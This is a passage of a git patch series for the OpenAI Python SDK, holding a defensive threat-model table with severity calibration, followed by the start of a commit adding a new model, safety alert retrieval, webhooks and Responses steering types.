+| Priority | Scenario and capability gain | Prerequisites | Impact | Existing controls | Mitigation | Evidence |
+| --- | --- | --- | --- | --- | --- | --- |
+| High | Credential misrouting sends API, admin, ambient `Authorization`, provider, or WebSocket auth to an unintended origin. | Independently mutable lower-trust input must influence a destination after the caller chose trusted configuration, or an SDK-owned auth/transport mode must lose its binding. | Credential or caller-data disclosure. | Default OpenAI origin; ambient-authorization override/mode-switch filtering; default transport redirect behavior; residency conflict checks; X.509 origin/Host/TLS/auth checks; provider-specific controls. | Keep destination configuration privileged; preserve and test ambient-header, redirect, and binding checks in SDK-owned auth/transport modes. | [src/openai/_client.py:299](../../src/openai/_client.py), [src/openai/_client.py:310](../../src/openai/_client.py), [src/openai/_client.py:715](../../src/openai/_client.py), [src/openai/_base_client.py:863](../../src/openai/_base_client.py), [src/openai/_base_client.py:1478](../../src/openai/_base_client.py), [src/openai/_data_residency.py:12](../../src/openai/_data_residency.py), [src/openai/auth/_x509.py:49](../../src/openai/auth/_x509.py) |
+| High | Subject-token exchange routing regression sends a raw host-identity token to an unintended recipient. | A regression changes the default OpenAI auth exchange destination, forwards the JSON body across a redirect, or otherwise loses the no-redirect binding; a direct caller intentionally supplying a different `token_exchange_url` is insufficient by itself. | Kubernetes, Azure, or GCP subject-token disclosure and possible workload-identity abuse. | Default `https://auth.openai.com/oauth/token`, caller-configurable exchange recipient, raw token only in the exchange JSON body, redirects disabled, bounded timeout, and response validation. | Preserve and test the default recipient, configured-recipient handling, payload contents, and no-redirect invariant independently from metadata acquisition. | [src/openai/auth/__init__.py:6](../../src/openai/auth/__init__.py), [src/openai/auth/_workload.py:17](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:340](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:345](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:355](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:366](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:369](../../src/openai/auth/_workload.py) |
+| High | Legacy module-client selection or cache regression routes an OpenAI, Azure, or Bedrock credential through the wrong provider. | Mutable module globals or environment signals must cross a broken precedence, ambiguity, forwarding, or reset boundary; the caller deliberately setting a coherent provider configuration is insufficient. | Credential or caller-data disclosure to an unintended provider destination. | Exact `OPENAI_API_KEY`-environment plus enumerated Azure/AAD-signal ambiguity rejection, exact Azure/Bedrock branches, OpenAI/other-value fallthrough, property-backed live common globals, constructor-captured provider inputs, and `_reset_client()` clearing only the cached instance. | Preserve selection precedence, ambiguity checks, provider-specific forwarding, and distinct instance-cache versus global-state semantics. | [src/openai/__init__.py:163](../../src/openai/__init__.py), [src/openai/__init__.py:183](../../src/openai/__init__.py), [src/openai/__init__.py:339](../../src/openai/__init__.py), [src/openai/__init__.py:343](../../src/openai/__init__.py), [src/openai/__init__.py:347](../../src/openai/__init__.py), [src/openai/__init__.py:351](../../src/openai/__init__.py), [src/openai/__init__.py:362](../../src/openai/__init__.py), [src/openai/__init__.py:374](../../src/openai/__init__.py), [src/openai/__init__.py:379](../../src/openai/__init__.py), [src/openai/__init__.py:387](../../src/openai/__init__.py), [src/openai/__init__.py:404](../../src/openai/__init__.py), [src/openai/__init__.py:420](../../src/openai/__init__.py), [src/openai/__init__.py:439](../../src/openai/__init__.py), [src/openai/lib/azure.py:356](../../src/openai/lib/azure.py) |
+| High | A current or beta Realtime/Responses WebSocket regression sends client auth to the wrong peer or redirect target. | A sync direct-connect or async wrapper path must lose its destination/header binding; caller-selected explicit WebSocket configuration alone is insufficient. | API credential disclosure; Azure `api-key` or AAD exposure applies to Realtime's Azure configuration path, while Responses uses inherited client auth directly. | Current/beta `/realtime` and `/responses` URL derivation, client-auth plus extra-header merge, beta Realtime header ordering, async same-origin redirect wrapper, Azure async Realtime cross-origin rejection, and Responses generic auth-header path; sync direct-connect remains a separate review surface. | Test current and beta Realtime/Responses sync/async paths separately, including redirects and their distinct auth-header routing. | [src/openai/resources/realtime/realtime.py:683](../../src/openai/resources/realtime/realtime.py), [src/openai/resources/realtime/realtime.py:693](../../src/openai/resources/realtime/realtime.py), [src/openai/resources/realtime/realtime.py:1153](../../src/openai/resources/realtime/realtime.py), [src/openai/resources/responses/responses.py:4410](../../src/openai/resources/responses/responses.py), [src/openai/resources/responses/responses.py:4429](../../src/openai/resources/responses/responses.py), [src/openai/resources/responses/responses.py:4855](../../src/openai/resources/responses/responses.py), [src/openai/resources/responses/responses.py:4874](../../src/openai/resources/responses/responses.py), [src/openai/resources/beta/realtime/realtime.py:355](../../src/openai/resources/beta/realtime/realtime.py), [src/openai/resources/beta/realtime/realtime.py:382](../../src/openai/resources/beta/realtime/realtime.py), [src/openai/resources/beta/realtime/realtime.py:540](../../src/openai/resources/beta/realtime/realtime.py), [src/openai/resources/beta/responses/responses.py:4515](../../src/openai/resources/beta/responses/responses.py), [src/openai/resources/beta/responses/responses.py:4960](../../src/openai/resources/beta/responses/responses.py), [src/openai/_client.py:611](../../src/openai/_client.py), [src/openai/_client.py:1356](../../src/openai/_client.py), [src/openai/lib/azure.py:500](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:854](../../src/openai/lib/azure.py), [src/openai/lib/_websocket.py:12](../../src/openai/lib/_websocket.py), [src/openai/lib/_azure_websocket.py:8](../../src/openai/lib/_azure_websocket.py) |
+| High | Azure auth precedence or endpoint/WebSocket routing regression sends an API key or AAD token to the wrong destination. | Lower-trust input must cross into SDK-owned Azure auth/routing checks, or those checks regress; caller-chosen trusted endpoint configuration alone is insufficient. | Azure credential or caller-data disclosure. | Mutually exclusive auth modes, explicit-over-environment precedence, required endpoint/version, cross-origin API-key redirect stripping, and cross-origin Azure WebSocket redirect rejection. | Preserve Azure-specific auth selection and redirect/routing tests. | [src/openai/lib/azure.py:69](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:90](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:297](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:319](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:507](../../src/openai/lib/azure.py), [src/openai/lib/_azure_websocket.py:8](../../src/openai/lib/_azure_websocket.py) |
+| High | Bedrock auth or signing regression sends bearer/AWS credentials to the wrong origin or signs the wrong request. | Lower-trust input must cross into SDK-owned origin/redirect/SigV4 checks, or those checks regress; caller-owned custom base configuration alone is insufficient. | AWS credential exposure or unauthorized signed requests. | Ambiguous-mode rejection; HTTPS/region validation for recognized canonical endpoints; same-origin bearer auth; replayable SigV4 body requirement; and SigV4 redirects disabled. | Preserve Bedrock-specific mode, destination, and signing invariants. | [src/openai/providers/bedrock.py:77](../../src/openai/providers/bedrock.py), [src/openai/providers/bedrock.py:83](../../src/openai/providers/bedrock.py), [src/openai/providers/bedrock.py:132](../../src/openai/providers/bedrock.py), [src/openai/providers/bedrock.py:142](../../src/openai/providers/bedrock.py), [src/openai/providers/bedrock.py:451](../../src/openai/providers/bedrock.py), [src/openai/lib/_bedrock_auth.py:85](../../src/openai/lib/_bedrock_auth.py) |
+| High | PR-controlled execution reaches a protected release credential or a release action misuses the App credential handoff without successful publication. | A PR path must receive a write-capable token, protected environment secret, OIDC publication capability, or mutable artifact path beyond its intended authority; independently, a regression can expose `OPENAI_SDKS_APP_PRIVATE_KEY` to an unintended recipient, alter or unpin its token-minting boundary, or misuse the generated write token in release-please. | Release credential/token compromise or unauthorized repository write capability short of package publication. | Read-only CI permissions, no persisted checkout credentials, main/repository release condition, empty initial release-job permissions, pinned token-minting/release actions, separate build/publish jobs, upload-only OIDC. | Preserve job separation, pinned actions, least privilege, protected environments, token recipients, and artifact integrity. | [.github/workflows/ci.yml:18](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:37](../../.github/workflows/ci.yml), [.github/workflows/create-releases.yml:8](../../.github/workflows/create-releases.yml), [.github/workflows/create-releases.yml:19](../../.github/workflows/create-releases.yml), [.github/workflows/create-releases.yml:23](../../.github/workflows/create-releases.yml), [.github/workflows/create-releases.yml:28](../../.github/workflows/create-releases.yml), [.github/workflows/publish-pypi.yml:8](../../.github/workflows/publish-pypi.yml) |
+| Critical | Unauthorized release or publication authority successfully publishes a malicious package. | An attacker must cross a protected release, artifact, or upload-only OIDC boundary and complete publication; token exposure without publication remains High. | Broadly trusted distribution compromise affecting package consumers. | Separate build/publish jobs, artifact handoff, protected publication environment assumptions, and upload-only OIDC job. | Preserve artifact integrity, trusted-publishing bindings, and release separation; treat confirmed unauthorized publication as Critical. | [.github/workflows/create-releases.yml:8](../../.github/workflows/create-releases.yml), [.github/workflows/publish-pypi.yml:8](../../.github/workflows/publish-pypi.yml), [.github/workflows/publish-pypi.yml:40](../../.github/workflows/publish-pypi.yml) |
+| High | A merged example change reaches the main-branch examples job's `OPENAI_API_KEY`. | Candidate-controlled executable example content is merged into `main`, then the same-repository push job runs that merged content with the secret; ordinary read-only PR execution alone is insufficient. | API-key disclosure or unauthorized API use from CI. | Main/repository trigger condition, `environment: ci` selection, no persisted checkout credentials, and locked dependency install; actual environment protection is external. | Preserve post-merge review of executable examples and verify host-side environment protection separately. | [.github/workflows/ci.yml:218](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:221](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:224](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:227](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:240](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:244](../../.github/workflows/ci.yml) |
+| High | Same-repository PR source causes an analyzer/action escape that repurposes CodeQL's `security-events: write` token. | Candidate source reaches the pinned CodeQL analyzer and a realistic escape or separately demonstrated execution path reaches the token-bearing job; mere checkout is insufficient. | Unauthorized security-event writes or any broader capability exposed by a regression in token use. | Narrow declared permissions, no persisted checkout credentials, pinned CodeQL actions, and no repository `run` step. | Preserve least privilege and ensure analyzer/action processing cannot exfiltrate or reuse the token outside intended security-result publication. | [.github/workflows/codeql.yml:7](../../.github/workflows/codeql.yml), [.github/workflows/codeql.yml:15](../../.github/workflows/codeql.yml), [.github/workflows/codeql.yml:27](../../.github/workflows/codeql.yml), [.github/workflows/codeql.yml:32](../../.github/workflows/codeql.yml) |
+| Medium | Forged webhook is accepted, or a caller mistakes a bounded-age verified webhook for unique delivery. | Attacker controls payload/headers but not the secret and verifier is bypassed/weakened, or attacker replays the same valid signed payload within tolerance where caller-side webhook-id deduplication is absent. | Unauthorized downstream action in caller application. | HMAC-SHA256, bounded-age timestamp tolerance, constant-time comparison, and verify-before-parse `unwrap`; SDK verifier is stateless and does not deduplicate. | Keep verification on raw bytes before application logic, protect/rotate secrets, and deduplicate webhook IDs at the caller boundary when uniqueness matters. | [src/openai/resources/webhooks/webhooks.py:18](../../src/openai/resources/webhooks/webhooks.py), [src/openai/lib/_webhooks.py:13](../../src/openai/lib/_webhooks.py), [src/openai/lib/_webhooks.py:20](../../src/openai/lib/_webhooks.py), [src/openai/lib/_webhooks.py:33](../../src/openai/lib/_webhooks.py), [src/openai/lib/_webhooks.py:57](../../src/openai/lib/_webhooks.py) |
+| Medium | Attacker-influenced remote JSON, SSE, or WebSocket input causes parser confusion, availability pressure, or unsafe caller-visible state. | Content returned through the normal OpenAI API or a caller-selected endpoint reaches SDK parsing/buffering/cleanup paths; impact must exceed ordinary malformed-response errors. | Process availability or downstream security decision impact. | JSON-only parsing, incremental SSE decoder, response cleanup, caller-configurable timeout/cancellation. | Preserve incremental handling and cleanup for large legitimate payloads; validate before sensitive application sinks. | [src/openai/_base_client.py:672](../../src/openai/_base_client.py), [src/openai/_streaming.py:166](../../src/openai/_streaming.py), [AGENTS.md:112](../../AGENTS.md) |
+| Medium | Sensitive data is emitted through diagnostics. | Runtime/API/network data or secret-bearing state reaches logs, exceptions, snapshots, or test output without redaction. Safe or sanitized caller-visible `APIError.body` diagnostics alone are insufficient. | Credentials, customer data, or unredacted sensitive bodies become readable to unintended diagnostic recipients. | Sensitive-header log filter, repository redaction requirements, and the safe/sanitized `APIError.body` carve-out. | Preserve redaction at every diagnostic boundary and avoid copying unredacted sensitive bodies into logs, exceptions, snapshots, and test output. | [AGENTS.md:26](../../AGENTS.md), [src/openai/_utils/_logs.py:10](../../src/openai/_utils/_logs.py), [src/openai/_exceptions.py:46](../../src/openai/_exceptions.py) |
+| High | A real credential, private key, bearer token, or `.env` file is committed to repository contents. | Candidate or generated content contains a real secret rather than a clearly fake or sanitized fixture; code execution is not required. | Secret disclosure through history, review diffs, checkouts, or artifacts. | Repository policy forbids real credentials and `.env` files and requires fake/sanitized fixtures. | Remove and rotate exposed credentials, preserve secret scanning, and keep the fake-fixture carve-out narrow. | [AGENTS.md:22](../../AGENTS.md), [AGENTS.md:26](../../AGENTS.md) |
+| Medium | Monthly review input or output escapes its intended isolation or publication boundary. | A regression lets independently mutable lifecycle/PyPI data expose the action-held key, mutate protected workspace state, leak sensitive output to the step summary, escape the bounded issue body into publisher commands/metadata/target selection, or obtain broader `issues: write` use. Normal publication of the marker/size-checked issue body is not itself a finding. | OpenAI key exposure or unauthorized issue content/write behavior. | Unprivileged Codex user, non-writable Git metadata, process termination, output marker/size checks, and separate issue publisher. | Preserve environment restriction, action/process isolation, output checks, redaction, and the job boundary. | [.github/workflows/python-version-review.yml:19](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:58](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:94](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:104](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:125](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:160](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:171](../../.github/workflows/python-version-review.yml) |
+| High | Castiron candidate data escapes the trusted reporter/publisher boundary and changes published commit statuses or PR comments. | Candidate Git objects, stale run metadata, or an untrusted artifact must bypass provenance/freshness/payload/artifact checks before a write-capable publisher acts; normal candidate influence on the computed report is insufficient. | Status-check confusion or misleading review comments; when external branch protection makes these checks required, budget-gate bypass. | Main reporter checkout; exact-head/base checks for status publication; trusted artifact IDs for successful report comments; fallback failure comments are head/run-bound only. | Preserve each path's actual binding before its write and keep the weaker fallback path reviewable. | [.github/workflows/castiron-custom-code-comment.yml:34](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:40](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:128](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:138](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:174](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:191](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:217](../../.github/workflows/castiron-custom-code-comment.yml) |
+| High | A malicious or provenance-confused published dependency compromises SDK consumers through an ordinary release. | Runtime, optional, transitive, or build dependency substitution reaches the published package or its build/install path; no PR-to-release credential escape is required. | Code execution or credential/data compromise in package builders or consumers. | Locked hashed repository builds and CI provenance checks reduce repository-build confusion but do not erase the published dependency boundary. | Review dependency provenance, build backends, and install scripts independently from PR token paths. | [pyproject.toml:11](../../pyproject.toml), [pyproject.toml:42](../../pyproject.toml), [pyproject.toml:108](../../pyproject.toml), [uv.lock:46](../../uv.lock), [.github/workflows/ci.yml:37](../../.github/workflows/ci.yml) |
+| Medium | Host identity token misuse mints OpenAI bearer authority. | Attacker independently reads the mounted token or reaches metadata from a process that should not have that authority. | Unauthorized API calls as the workload identity. | Fixed helper endpoints/headers, bounded timeouts, token response validation, in-memory cache. | Restrict pod/file/metadata access and use workload identity only in intended runtimes. | [src/openai/auth/_workload.py:78](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:128](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:283](../../src/openai/auth/_workload.py) |
+| Low | Attacker-controlled application input becomes a local file upload. | Consuming application passes an attacker-chosen path while the process already has local read authority. | Local data disclosure to the configured API. | Explicit caller invocation and OS file permissions; no automatic discovery. | Validate/allowlist paths at the application boundary or pass opened streams/bytes. | [src/openai/_files.py:25](../../src/openai/_files.py), [src/openai/_files.py:65](../../src/openai/_files.py) |
+| Low | Local audio is captured or played unexpectedly. | Application explicitly invokes optional helpers with device permission. | Self-only local privacy or nuisance effect unless a distinct application boundary is shown. | Optional dependency, explicit helper path, OS permissions. | Gate helpers behind user intent and OS permission UX. | [pyproject.toml:46](../../pyproject.toml), [src/openai/helpers/microphone.py:81](../../src/openai/helpers/microphone.py) |
+| Not a finding by itself | A PR changes a checked-in test, clearly fake or sanitized fixture/example, build script, or other tracked executable file and CI runs it. | PR author already controls that checkout code and no real credential is committed. | No new capability without a separate protected sink; a real committed secret remains reportable without execution. | Repository-code authority is explicit; CI boundary is evaluated at credentials and permissions. | Investigate if execution crosses into protected authority or tracked content contains a real secret. | [.github/workflows/ci.yml:18](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:69](../../.github/workflows/ci.yml), [AGENTS.md:22](../../AGENTS.md) |
+
+## Severity Calibration (Critical, High, Medium, Low)
+
+- **Critical:** confirmed unauthorized PyPI publication or broadly trusted
+ distribution compromise affecting package consumers. Release-token or
+ credential exposure without successful publication remains High. Running
+ PR-controlled tracked code in read-only CI is not Critical without a path to
+ protected publication or repository authority
+ ([.github/workflows/publish-pypi.yml:40](../../.github/workflows/publish-pypi.yml),
+ [.github/workflows/ci.yml:18](../../.github/workflows/ci.yml)).
+- **High:** disclosure of a high-privilege admin, provider, or release
+ credential through a destination or diagnostic sink; durable cross-account
+ authority; write-capable CI token misuse; or a protected credential-
+ destination binding failure with realistic reachability. A caller explicitly
+ choosing its own custom endpoint or transport is not automatically High
+ because that caller already owns process configuration
+ ([src/openai/_client.py:157](../../src/openai/_client.py),
+ [src/openai/_client.py:589](../../src/openai/_client.py)).
+- **Medium:** forged webhook acceptance, host-identity token abuse, or remote
+ parser/stream availability impact, unredacted sensitive non-admin data
+ exposure through logs, exceptions, snapshots, or test
+ output, or monthly assessment boundary failure
+ with a realistic independently mutable input and deployment prerequisite
+ ([src/openai/lib/_webhooks.py:20](../../src/openai/lib/_webhooks.py),
+ [src/openai/auth/_workload.py:78](../../src/openai/auth/_workload.py)).
+- **Low:** self-only effects within caller-granted local file/audio authority,
+ metadata leakage without credentials, or malformed input that only raises an
+ SDK exception. Raise severity when evidence shows a distinct victim,
+ protected asset, or privilege gain
+ ([src/openai/_files.py:65](../../src/openai/_files.py),
+ [src/openai/helpers/microphone.py:81](../../src/openai/helpers/microphone.py)).
+
+Unsupported stories remain out of scope until their missing prerequisite is
+shown: XSS, CSRF, SQL injection, and server-side authorization failures are not
+SDK vulnerabilities merely because the SDK can carry application data; prompt
+injection in a consuming application is not an SDK finding without an SDK-owned
+sensitive sink; and mutable operator configuration is not attacker-controlled
+unless a real lower-trust path to it is established.
From 09f446f5f8623d79464568dc91b9dc258e74bcae Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 3 Sep 2026 15:42:11 -0400
Subject: [PATCH 096/341] feat(api): add gpt-6-astra and related features
(#3791)
## Summary
Add GPT-6 Astra support, Responses WebSocket steering, safety alert
retrieval, safety webhooks, and expanded safety metadata. This changes
the public ResponsesClientEvent models from response-creation classes
into discriminated unions, requiring users who instantiate those classes
to use ResponseCreate instead.
## Changes
- Add `gpt-6-astra` to supported chat and Responses model literals.
- Add synchronous and asynchronous safety alert retrieval through
client.safety.alerts, including raw and streamed response access and the
SafetyAlert type.
- Add project and organization safety alert webhook event types and
include them in webhook unwrapping.
- Add response.steer WebSocket methods for stable and beta Responses
clients, with text, image, and file input support.
- Add steering client and server event types for accepted, pending, and
failed states, including pending reasons, required input, and error
codes.
- Change ResponsesClientEvent and BetaResponsesClientEvent from
response-creation model classes to discriminated unions covering
response creation and steering; expose the original creation payloads as
ResponseCreate and BetaResponseCreate while retaining aliases for
existing helper types.
- Extend response lifecycle, tool definition, and tool-call types with
steering-related metadata and optional asynchronous tool execution
support.
- Add optional misalignment details and continuation guidance to shared,
Responses WebSocket, and video error models.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api.md | 25 +
api_reference/openapi.transformed.yml | 2208 ++++++++++++++---
src/openai/__init__.py | 1 +
src/openai/_client.py | 38 +
src/openai/_module_client.py | 8 +
src/openai/resources/__init__.py | 14 +
.../resources/admin/organization/usage.py | 4 +-
.../resources/beta/responses/responses.py | 111 +-
.../resources/chat/completions/completions.py | 12 +-
src/openai/resources/responses/api.md | 11 +
src/openai/resources/responses/responses.py | 147 +-
src/openai/resources/safety/__init__.py | 33 +
src/openai/resources/safety/alerts.py | 172 ++
src/openai/resources/safety/safety.py | 102 +
src/openai/resources/webhooks/api.md | 2 +
.../admin/organization/usage_costs_params.py | 2 +-
src/openai/types/batch.py | 2 +-
src/openai/types/beta/__init__.py | 23 +
src/openai/types/beta/beta_custom_tool.py | 8 +
.../types/beta/beta_custom_tool_param.py | 11 +-
src/openai/types/beta/beta_function_tool.py | 4 +
.../types/beta/beta_function_tool_param.py | 10 +-
src/openai/types/beta/beta_namespace_tool.py | 8 +
.../types/beta/beta_namespace_tool_param.py | 10 +-
src/openai/types/beta/beta_response.py | 12 +-
...beta_response_configuration_update_item.py | 44 +
...esponse_configuration_update_item_param.py | 46 +
...e_configuration_update_item_param_param.py | 46 +
.../beta/beta_response_custom_tool_call.py | 5 +
.../beta_response_custom_tool_call_param.py | 11 +-
src/openai/types/beta/beta_response_error.py | 33 +-
.../beta/beta_response_function_tool_call.py | 5 +
.../beta_response_function_tool_call_param.py | 11 +-
.../beta/beta_response_incomplete_event.py | 7 +-
.../types/beta/beta_response_input_item.py | 2 +
.../beta/beta_response_input_item_param.py | 2 +
.../types/beta/beta_response_input_param.py | 2 +
src/openai/types/beta/beta_response_item.py | 2 +
.../beta_response_steer_accepted_event.py | 50 +
.../beta/beta_response_steer_error_code.py | 19 +
.../types/beta/beta_response_steer_event.py | 61 +
.../beta/beta_response_steer_event_param.py | 62 +
.../beta/beta_response_steer_failed_event.py | 92 +
.../types/beta/beta_response_steer_input.py | 124 +
.../beta/beta_response_steer_input_content.py | 16 +
...beta_response_steer_input_content_param.py | 16 +
.../beta/beta_response_steer_input_param.py | 118 +
.../beta/beta_response_steer_pending_event.py | 74 +
.../beta_response_steer_pending_reason.py | 8 +
.../beta_response_steer_required_input.py | 114 +
.../types/beta/beta_responses_client_event.py | 6 +-
.../beta/beta_responses_client_event_param.py | 8 +-
.../types/beta/beta_responses_server_event.py | 44 +-
.../types/beta/response_compact_params.py | 3 +-
.../types/beta/response_create_params.py | 3 +-
.../types/chat/completion_create_params.py | 2 +-
.../types/conversations/conversation_item.py | 2 +
src/openai/types/eval_create_response.py | 2 +-
src/openai/types/eval_list_response.py | 2 +-
src/openai/types/eval_retrieve_response.py | 2 +-
src/openai/types/eval_update_response.py | 2 +-
...create_eval_completions_run_data_source.py | 2 +-
..._eval_completions_run_data_source_param.py | 2 +-
src/openai/types/responses/__init__.py | 19 +
src/openai/types/responses/custom_tool.py | 8 +
.../types/responses/custom_tool_param.py | 10 +-
src/openai/types/responses/function_tool.py | 4 +
.../types/responses/function_tool_param.py | 10 +-
src/openai/types/responses/namespace_tool.py | 8 +
.../types/responses/namespace_tool_param.py | 10 +-
src/openai/types/responses/response.py | 11 +-
.../responses/response_compact_params.py | 3 +-
.../response_configuration_update_item.py | 35 +
...esponse_configuration_update_item_param.py | 37 +
...e_configuration_update_item_param_param.py | 38 +
.../types/responses/response_create_params.py | 2 +-
.../responses/response_custom_tool_call.py | 5 +
.../response_custom_tool_call_param.py | 11 +-
src/openai/types/responses/response_error.py | 33 +-
.../responses/response_function_tool_call.py | 5 +
.../response_function_tool_call_param.py | 11 +-
.../responses/response_incomplete_event.py | 7 +-
.../types/responses/response_input_item.py | 2 +
.../responses/response_input_item_param.py | 2 +
.../types/responses/response_input_param.py | 2 +
src/openai/types/responses/response_item.py | 2 +
.../response_steer_accepted_event.py | 50 +
.../responses/response_steer_error_code.py | 19 +
.../types/responses/response_steer_event.py | 61 +
.../responses/response_steer_event_param.py | 62 +
.../responses/response_steer_failed_event.py | 92 +
.../types/responses/response_steer_input.py | 102 +
.../responses/response_steer_input_content.py | 16 +
.../response_steer_input_content_param.py | 16 +
.../responses/response_steer_input_param.py | 96 +
.../responses/response_steer_pending_event.py | 74 +
.../response_steer_pending_reason.py | 8 +
.../response_steer_required_input.py | 114 +
.../types/responses/responses_client_event.py | 95 +-
.../responses/responses_client_event_param.py | 90 +-
.../types/responses/responses_server_event.py | 44 +-
src/openai/types/safety/__init__.py | 5 +
src/openai/types/safety/safety_alert.py | 41 +
src/openai/types/shared/chat_model.py | 1 +
src/openai/types/shared/error_object.py | 34 +-
src/openai/types/shared_params/chat_model.py | 1 +
src/openai/types/video_create_error.py | 34 +-
src/openai/types/webhooks/__init__.py | 4 +
.../safety_alert_created_webhook_event.py | 30 +
.../safety_org_alert_created_webhook_event.py | 30 +
.../types/webhooks/unwrap_webhook_event.py | 4 +
.../beta/responses/test_input_tokens.py | 2 +
tests/api_resources/beta/test_responses.py | 28 +-
tests/api_resources/beta/test_threads.py | 8 +-
tests/api_resources/beta/threads/test_runs.py | 8 +-
tests/api_resources/chat/test_completions.py | 32 +-
.../responses/test_input_tokens.py | 2 +
tests/api_resources/safety/__init__.py | 1 +
tests/api_resources/safety/test_alerts.py | 100 +
tests/api_resources/test_models.py | 12 +-
tests/api_resources/test_responses.py | 28 +-
.../lib/responses/test_client_event_compat.py | 82 +
123 files changed, 5269 insertions(+), 474 deletions(-)
create mode 100644 src/openai/resources/safety/__init__.py
create mode 100644 src/openai/resources/safety/alerts.py
create mode 100644 src/openai/resources/safety/safety.py
create mode 100644 src/openai/types/beta/beta_response_configuration_update_item.py
create mode 100644 src/openai/types/beta/beta_response_configuration_update_item_param.py
create mode 100644 src/openai/types/beta/beta_response_configuration_update_item_param_param.py
create mode 100644 src/openai/types/beta/beta_response_steer_accepted_event.py
create mode 100644 src/openai/types/beta/beta_response_steer_error_code.py
create mode 100644 src/openai/types/beta/beta_response_steer_event.py
create mode 100644 src/openai/types/beta/beta_response_steer_event_param.py
create mode 100644 src/openai/types/beta/beta_response_steer_failed_event.py
create mode 100644 src/openai/types/beta/beta_response_steer_input.py
create mode 100644 src/openai/types/beta/beta_response_steer_input_content.py
create mode 100644 src/openai/types/beta/beta_response_steer_input_content_param.py
create mode 100644 src/openai/types/beta/beta_response_steer_input_param.py
create mode 100644 src/openai/types/beta/beta_response_steer_pending_event.py
create mode 100644 src/openai/types/beta/beta_response_steer_pending_reason.py
create mode 100644 src/openai/types/beta/beta_response_steer_required_input.py
create mode 100644 src/openai/types/responses/response_configuration_update_item.py
create mode 100644 src/openai/types/responses/response_configuration_update_item_param.py
create mode 100644 src/openai/types/responses/response_configuration_update_item_param_param.py
create mode 100644 src/openai/types/responses/response_steer_accepted_event.py
create mode 100644 src/openai/types/responses/response_steer_error_code.py
create mode 100644 src/openai/types/responses/response_steer_event.py
create mode 100644 src/openai/types/responses/response_steer_event_param.py
create mode 100644 src/openai/types/responses/response_steer_failed_event.py
create mode 100644 src/openai/types/responses/response_steer_input.py
create mode 100644 src/openai/types/responses/response_steer_input_content.py
create mode 100644 src/openai/types/responses/response_steer_input_content_param.py
create mode 100644 src/openai/types/responses/response_steer_input_param.py
create mode 100644 src/openai/types/responses/response_steer_pending_event.py
create mode 100644 src/openai/types/responses/response_steer_pending_reason.py
create mode 100644 src/openai/types/responses/response_steer_required_input.py
create mode 100644 src/openai/types/safety/__init__.py
create mode 100644 src/openai/types/safety/safety_alert.py
create mode 100644 src/openai/types/webhooks/safety_alert_created_webhook_event.py
create mode 100644 src/openai/types/webhooks/safety_org_alert_created_webhook_event.py
create mode 100644 tests/api_resources/safety/__init__.py
create mode 100644 tests/api_resources/safety/test_alerts.py
create mode 100644 tests/lib/responses/test_client_event_compat.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 2b1be484c8..e7a5883590 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: ee9a1017-930f-49f4-9724-5633d30d1c71
-openapi_spec_hash: 0ba3e4acd88b521d832e2a42d5471e00
-openapi_transformed_spec_hash: 0a6002520553b981f4c0bf6555a0a623
-config_hash: d8813efd847d1966dd7f03bb648c41dc
-codegen_sha: 7df32a6b1fe20434a95b0c9bbeb981810f5f3d20
-codegen_hash: 37a95ae987fcdd52ebbc324b4fa6aee8c76099df8af4b97250fb4ca5cf36965d
-public_codegen_sha: 86966c00928eccb2f77611935d572af7edd15619
+generation_id: 075628ad-ef87-47a4-8b19-cb70f87163fc
+openapi_spec_hash: 31ce930d0bb93c8c09944ca9f79407b5
+openapi_transformed_spec_hash: c534613fdbcd88ff44bf4c87957de72b
+config_hash: 81fd1039eb373628d87269f065d30a69
+codegen_sha: 74ff127a2bd2c3e7ae04e1d5f0cc65afc6970864
+codegen_hash: 4de898686d77495342b6787c418402e7504ce5941efc18c85ad9cefae656c100
+public_codegen_sha: 7ece6b1eccb7e14bdffcd1044054e4b3392be3c9
diff --git a/api.md b/api.md
index d9efdbcc79..701e4be463 100644
--- a/api.md
+++ b/api.md
@@ -435,6 +435,20 @@ Methods:
- client.vector_stores.file_batches.poll(\*args) -> VectorStoreFileBatch
- client.vector_stores.file_batches.upload_and_poll(\*args) -> VectorStoreFileBatch
+# Safety
+
+## Alerts
+
+Types:
+
+```python
+from openai.types.safety import SafetyAlert
+```
+
+Methods:
+
